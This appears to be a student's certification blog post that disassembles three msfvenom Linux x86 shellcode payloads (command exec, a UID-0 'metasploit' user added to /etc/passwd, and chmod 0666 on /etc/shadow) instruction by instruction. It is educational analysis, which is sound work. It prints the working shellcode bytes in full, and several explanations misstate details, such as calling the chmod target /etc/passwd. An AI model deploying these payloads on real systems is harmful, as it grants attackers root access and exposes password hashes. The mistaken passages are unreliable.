SLAE32 0x05: msfvenom Shellcode Analysis
The tool msfvenom
is commonly used to generate payloads. The tool provides a variety of payload options for different operating systems and architectures. Analyzing shellcode payloads generated by msfvenom
is a useful exercise to help better understand the underlying techniques that are at play within these payloads.
Some of the most common shellcode payloads encountered are bind and reverse shells. As bind and reverse shell shellcodes have been created and analyzed in depth in previous posts, three unique shellcodes were selected for analysis in this post. The sections below will dissect and explain the shellcodes generated by msfvenom
for the linux/x86/exec
payload, the linux/x86/adduser
payload, and the linux/x86/chmod
payload. When applicable, the assembly instructions will come first, followed by an explanation of the purpose of the instructions.
Objectives
Analyze at least 3 shellcode samples created using msfvenom
for linux/x86;
- Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
- Present the analysis
Shellcode I: exec
Shellcode I: Explanation
The exec
payload includes insturctions that will execute a specified command on the target system. The exec
shellcode was generated using the msfvenom
command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/exec CMD=id -f c
The shellcode is generated with the command of id
specified. This means that upon successful execution of the shellcode, the output of the id
command will be printed to the terminal.
Using the shellcode generated by the msfvenom
command, a good portion of the correct assembly instructions can be viewed using the ndisasm
tool. The ndisasm
tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\
xe3\x52\xe8\x03\x00\x00\x00\x69\x64\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm
specify x86
(32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL
instructions. The output will be broken down in to smaller sections later on.
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E803000000 call 0x20
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
Shellcode I: Analysis
00000000 6A0B push byte +0xb
00000002 58 pop eax
First, a single byte 0xb
is pushed to the stack. The hexadecimal value 0xb
in decimal is 11
. From the unistd_32.h
file, 11
specifies the execve
system call. The 0xb
byte is transferred to the EAX
register using the POP EAX
instruction. Ulitmately, the value 0xb
will be passed through the EAX
register to a software interrupt which will result in the execution of the execve
system call.
#define __NR_execve 11
The execve
system call expects three arguments, as shown below. As usual, the first argument will be passed through EBX
, the second through ECX
, and the third through EDX
.
int execve(const char *pathname, char *const argv[], char *const envp[]);
00000003 99 cdq
00000004 52 push edx
Next, the CDQ
instruction is used to zero out the EDX
register. This is accomplished through the functionality of CDQ
. The CDQ
instruction copies the sign bit in the EAX
register to every bit position in the EDX
register. Since the sign bit is not set in EAX
, its value is 0
. This means that 0
will be copied to every bit position in the EDX
register, thus zeroing out the register. A PUSH
instruction is used to store EBX
on the stack which will act as a null terminator for various arguments passed to execve
.
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
Now, a PUSH
instruction is used to store 0x632d
on the stack. Examining this value reveals that the value correlates to the c-
string, or -c
in reverse order.
>>> print('\x63\x2d')
c-
The memory address in ESP
which points to the top of the stack and contains the -c
string is moved into the EDI
register. This memory address which contains the null-terminated -c
string will later be used as part of the array of pointers that contain command line arguments passed through ECX
to execve
as its second argument.
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
Two PUSH
instructions are used to store first 0x68732f
and then 0x6e69622f
on the stack. Upon examining these hexidecimal values, it is revealed that these values correlate to the string /bin/sh
.
>>> print('\x68\x73\x2f\x6e\x69\x62\x2f')
hs/nib/
The memory address of ESP
is moved into the EBX
register which will be passed to execve
as the first argument which is a pointer to the pathname of the program to be executed, /bin/sh
.
00000017 52 push edx
00000018 E803000000 call 0x20
As the EDX
register at this point is still clear as a result of the previous CDQ
instruction, the PUSH EDX
instruction pushes four null bytes to the stack. These bytes will act as a delimiter for the array of memory addresses that will be passed through ECX
as the second argument to execve
.
In this case, the CALL 0x20
instruction serves two purposes. The first purpose is to direct execution flow elsewhere in the shellcode (specifically to the memory address 32
bytes (decimal 32
is 0x20
in hex) from the start of the shellcode) and the second purpose is to store a memory address on the stack. As part of the functionality built in to the CALL
instruction, the memory address of the instruction following the CALL
instruction will be stored on the stack so that once the called function completes, execution flow can retun to the next instruction.
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
In this example, the memory address pushed to the stack as a result of the call instruction is the memory address of 0000001D
. In decimal, this memory address value can be represented as 29
. The first two bytes stored at this memory address are 0x6964
. Examining these bytes reveals that these bytes correlate to the string id
, or the command that was chosen to be excuted by execve
when the payload was generated with msfvenom
.
>>> print('\x69\x64')
id
Following these two bytes is a null byte to terminate the id
string.
Recall that the CALL 0x20
instruction will redirect execution flow to 0x20
bytes in hex or 32
bytes in decimal from the start of the shellcode. As mentioned previously, 0000001D
correlates to decimal 29
. After taking into account the three bytes 0x696400
that form the null terminated id
string, this means that the CALL 0x20
instruction will result in execution flow being redirected to the instructions that directly follow the 0x696400
bytes at the 00000020
(decimal 32
) memory address. In other words, the instructions represented by the shellcode \x57\x53\x89\xe1\xcd\x80
will now be executed.
Using ndisasm
again to disassemble this shellcode reveals the following:
root@kali:~/SLAE/assignment-5# echo -ne "\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
00000000 57 push edi
00000001 53 push ebx
00000002 89E1 mov ecx,esp
00000004 CD80 int 0x80
These PUSH
instructions serve the purpose to complete the array of pointers to strings which will be passed as the second argument to execve
through ECX
. The memory addresses in the array must be passed in reverse order, and the memory address that contains id
is already on the stack as a result of the CALL 0x20
earlier. The PUSH EDI
instuction pushes the memory address in EDI
to the stack which contains the -c
string. The PUSH EBX
command pushes the memory address in EBX
to the stack which contains the /bin/sh
string. Therefor, there are now three memory address on the stack. The memory address on the top of the stack contains /bin/sh
, the second memory address contains -c
, and the third memory address contains id
. The memory address in ESP
points to these memory addresses and is moved into ECX
before the software interrupt INT 0x80
occurs, which results in the /bin/sh -c id
command being executed by execve
.
Shellcode II: adduser
Shellcode II: Explanation
The adduser
payload includes instructions to add a user to the target system with the UID of 0. The adduser
shellcode was generated using the msfvenom
command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/adduser -f c
The shellcode is generated using default parameters. In this case, the user that will be added to the target system will be called metasploit
. Since no password was provided, the default password will be used.
Once again, the ndisasm
tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\
x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm
specify x86
(32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL
instructions. The output will be broken down in to smaller sections later on.
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
Shellcode II: Analysis
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
To start, an XOR
instruction is used to zero out the ECX
register. As explained in previous posts, using XOR
with the same source and destination register will result in zeroing out the register. Following the XOR
instruction, the recently-cleared ECX
register is moved to the EBX
register, effectively zeroing out the EBX
register. Next, a single byte 0x46
is pushed to the stack and then stored in EAX
using a POP
instruction. The hex value 0x46
in decimal is 70
. From the unistd_32.h
file, 70
specifies the setreuid
system call.
#define __NR_setreuid 70
From man 2 setreuid
, the setreuid
function sets real and effective user IDs of the calling process and takes two arguments, as shown below.
int setreuid(uid_t ruid, uid_t euid);
The two arguments that will be passed to the setreuid
system call via the EBX
and ECX
registers will both be 0
as a result of the previously mentioned XOR
and MOV
instructions related to the EBX
and ECX
registers.
On Linux systems, UID 0
is assigned to and represents the root
user of the system that has unrestricted super administrator privileges. Underprivileged users usually do not have the permissions required to add users to Linux systems, but if an underpriveleged user has access to a program/process running as root or a program with the SUID
bit set, then setreuid
would ensure that the remaining shellcode within the payload will be run with root
permissions.
00000009 6A05 push byte +0x5
0000000B 58 pop eax
Next, the byte 0x5
is pushed to the stack and then stored in EAX
using POP
. The integer 5
specifies the open
system call in the unistd_32.h
file.
#define __NR_open 5
From man 2 open
, the open
function expects two arguments and serves the purpose of opening the file specified by the first argument with the desired access mode specifed by the second argument. The return value of open
is a file descriptor that can be used in subsequent system calls and is returned in the EAX
register function completion.
int open(const char *pathname, int flags);
Furthermore, the second argument specifies whether the opened file is opened as O_RDONLY
, O_WRONLY
, or O_RDWR
which correlate to read-only, write-only, and read-write access modes. In addition to the access mode flags, zero or more bitwise file creation and file status flags can be set within the second argument that further modify the behavior of open
.
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
The ECX
register is zeroed out once again with the XOR
instruction and then is pushed to the stack with a PUSH
instruction. These null bytes serve to terminate the string which is subsequently pushed to the stack. Examining the twelve bytes pushed to the stack by the three PUSH
instructions reveals that the bytes correlate to the /etc//passwd
string and will specify that open
should open the /etc/passwd
file.
>>> print('\x64\x77\x73\x73\x61\x70\x2f\x2f\x63\x74\x65\x2f')
dwssap//cte/
The MOV EBX, ESP
instruction serves to store the pointer to the /etc//passwd
pathname string which will later be passed to open
as its first argument via the EBX
register.
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
An INC ECX
instruction is used to increase the value in ECX
by one to hexadecimal 0x1
. Next, the hexadecimal value 0x4
is moved into the CH
register. The CH
register represents the 8 bits that make up the second-to-least significant byte. A representation of the ECX
register in binary is shown below.
31 16 | 15 8 | 7 0
---------------------------------------
00000000 00000000 | 00000100 | 00000001
---------------------------------------
Recall that additional bitwise file creation and file status flags can be set within the second argument argument of open
. At this point, the CX
register contains the value 0x0401
because of the INC ECX
and MOV CH, 0x4
instructions. This means that of the 16 bits present in the CX
register, the lowest order bit (the 0th bit, decimal 2^0 = 1
) and the 10th-lowest order bit (the 10th bit, decimal 2^10 = 1024
) are set. In octal, decimal 1
is 00000001
and decimal 1024
is 00002000
. As seen in the /usr/include/asm-generic/fcntl.h
file, octal 00000001
specifies the file access mode as O_WRONLY
which correlates to write-only mode, and octal 00002000
specifies the file status flag O_APPEND
. This means that once the software interrupt INT 0x80
instruction is executed, the /etc/passwd
file will be opened with write access and any written information will be appended to the information already present in the file.
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
After the open
function, the file descriptor that references the opened file is stored in EAX
. The XCHG EAX, EBX
serves to swap the values stored within EAX
and EBX
. Therefore, EBX
now holds the file descriptor returned by open
. The CALL 0x53
instruction is used in the same manner as previously explained in the analysis of the exec
payload. In short, the memory address of the next instruction (0000002B
) is stored on the stack and execution flow is redirected to the instructions present at 0x53
bytes from the start of the shellcode.
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
Converting the contents present between the memory address 0000002B
and 00000053
(where execution flow will continue as a result of the previous CALL 0x53
instruction) to ASCII reveals the following:
>>> print('\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68')
metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh
This string specifies the contents that will ultimately be written to the /etc/passwd
file and is in the same format as other entries in the /etc/passwd
file. As the adduser
payload was generated with default parameters, the user that will be added to the /etc/passwd
file is called metasploit
, the password for the user will be Az/dIsj4p4I4IRc
, the user will have a user identifier number of 0
, a group identifier number of 0
, and will use /bin/sh
as a default shell.
Using ndisasm
once again to analyze the instructions present at 00000053
where execution flow has been redirected by CALL 0x53
shows the following:
root@kali:~/SLAE/assignment-5# echo -ne "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000 59 pop ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04 push byte +0x4
00000006 58 pop eax
00000007 CD80 int 0x80
The POP ECX
instruction stores the metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh
string in ECX
. The instruction MOV EDX, [ECX-0x4]
is used to move the value 0x28
into EDX
. Since ECX
now contains the memory address 0000002B
from the original ndisasm
output, the MOV EDX, [ECX-0x4]
instruction will result in the contents present at memory address 00000027
from the same output being stored in EDX
. It can be seen below that the value 0x28
is present at 00000027
in the original ndisasm
output as part of the operation code for the previously explained CALL 0x53
instruction.
00000026 E828000000 call 0x53
Continuing on, the byte 0x4
is pushed to the stack and subsequently stored in EAX
using a POP
instruction. From the unistd_32.h
file, 4
specifies the write
system call. The arguments expected by write
are shown below.
ssize_t write(int fd, const void *buf, size_t count);
From man 2 write
, the write
function will write up to count
bytes from the buffer starting at buf
to the file referenced by the file descriptor fd
. The EBX
, ECX
, and EDX
registers have already been set to contain the file descriptor fd
as returned by open
that represents the /etc/passwd
file, a pointer to the string metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh
in memory as buf
, and the length of the string 0x28
as count
, respsectively. The software interrupt INT 0x80
will call the write
system call which will add the metasploit
user to the /etc/passwd
file as previously explained.
00000009 6A01 push byte +0x1
0000000B 58 pop eax
0000000C CD80 int 0x80
To wrap up, the byte 0x1
is pushed to the stack and stored in EAX
by POP
. In unistd_32.h
, the value 1
specifies the exit
system call. There are no necessary arguments for exit
. The software interrupt INT 0x80
results in the process in which the shellcode is being run to exit gracefully.
Shellcode III: chmod
Shellcode III: Explanation
The chmod
payload includes instructions to change permissions on a specified file. The chmod
shellcode was generated using the msfvenom
command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/chmod -f c
The shellcode is generated using default parameters. In this case, the permissions of the /etc/shadow
file will be set to 0666
. This means that the file will be world readble and world writeable.
As mentioned previously, the ndisasm
tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm
specify x86
(32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL
instructions. The output will be broken down in to smaller sections later on.
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popa
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Shellcode III: Analysis
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
First, a CDQ
instruction is used to zero out the EDX
register in the same manner previously outlined in the exec
payload. To reiterate, the CDQ instruction copies the sign bit in the EAX
register to every bit position in the EDX
register. Since the sign bit is not set in EAX
, its value is 0
. This means that 0
will be copied to every bit position in the EDX
register, thus zeroing out the register.
A single byte 0xf
(or 15
in decimal) is pushed to the stack and subsequently stored in the EAX
register with a POP
instruction. From the unistd_32.h
file, 15
specifies the chmod
system call, which makes sense for this particular payload.
#define __NR_chmod 15
From man 2 chmod
, the chmod
function expects two arguments, as shown below.
int chmod(const char *pathname, mode_t mode);
The first argument expected by chmod
is a pointer to a pathname string which will specify the file to be modified and will be passed to chmod
through the EBX
register. The second argument expected by chmod
is a mode value (an octal value, as commonly seen in command line usage of chmod
) and is passed to chmod
through the ECX
register.
00000004 52 push edx
00000005 E80C000000 call 0x16
Here, a PUSH EDX
instruction is used to push four NULL bytes to the stack which will serve as a delimiter for the pathname argument for chmod
. As explained in the two previous shellcode payloads, a CALL
command is used to store a string on the stack and to redirect execution flow to the memory address specified in the CALL
instruction (0x16
in this case).
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popa
00000012 646F fs outsd
00000014 7700 ja 0x16
As a result of the CALL 0x16
instruction, the bytes shown above will be stored on the stack beginning at the memory address 0000000A
. Further analysing these bytes reveals that the bytes correlate to the string shown below.
>>> print('\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77')
/etc/shadow
From this, it is clear that the file that will be modified by the chmod
function will be the /etc/passwd
file.
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
The CALL 0x16
instruction mentioned previously results in execution flow being redirected to the memory address located 0x16
bytes from the beginning of the shellcode which contains the operation codes shown above.
As the memory address 0000000A
contains the string /etc/shadow
and is currently stored on the top of the stack, the POP EBX
command will result in the memory address containing the aformentioned /etc/shadow
string being stored in the EBX
register. This will soon be passed as the pointer to a pathname for the first argument expected by chmod
.
Next, the value 0x1b6
is pushed to the stack and subsequently stored in ECX
by a POP
instruction. The hexadecimal value 0x1b6
converted to its corresponding octal value (as commonly used in command line usage of chmod
) is 0o666
. As expected, this would suggest that the r
(read) and w
(write) bits will be set for the owner of the /etc/passwd
file, users in the group to which the /etc/passwd
file belongs, as well as to all other users. In other words, the /etc/passwd
file will be world readable and world writeable after once its mode is changed by chmod
. A software interrupt INT 0x80
instruction calls chmod
with the described arguments.
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
As explained in the adduser
payload, the byte 0x1
is pushed to the stack and stored in EAX
by POP
. In unistd_32.h
, the value 1
specifies the exit
system call. There are no necessary arguments for exit
. The software interrupt INT 0x80
results in the process in which the shellcode is being run to exit gracefully.
_This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:∏
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1469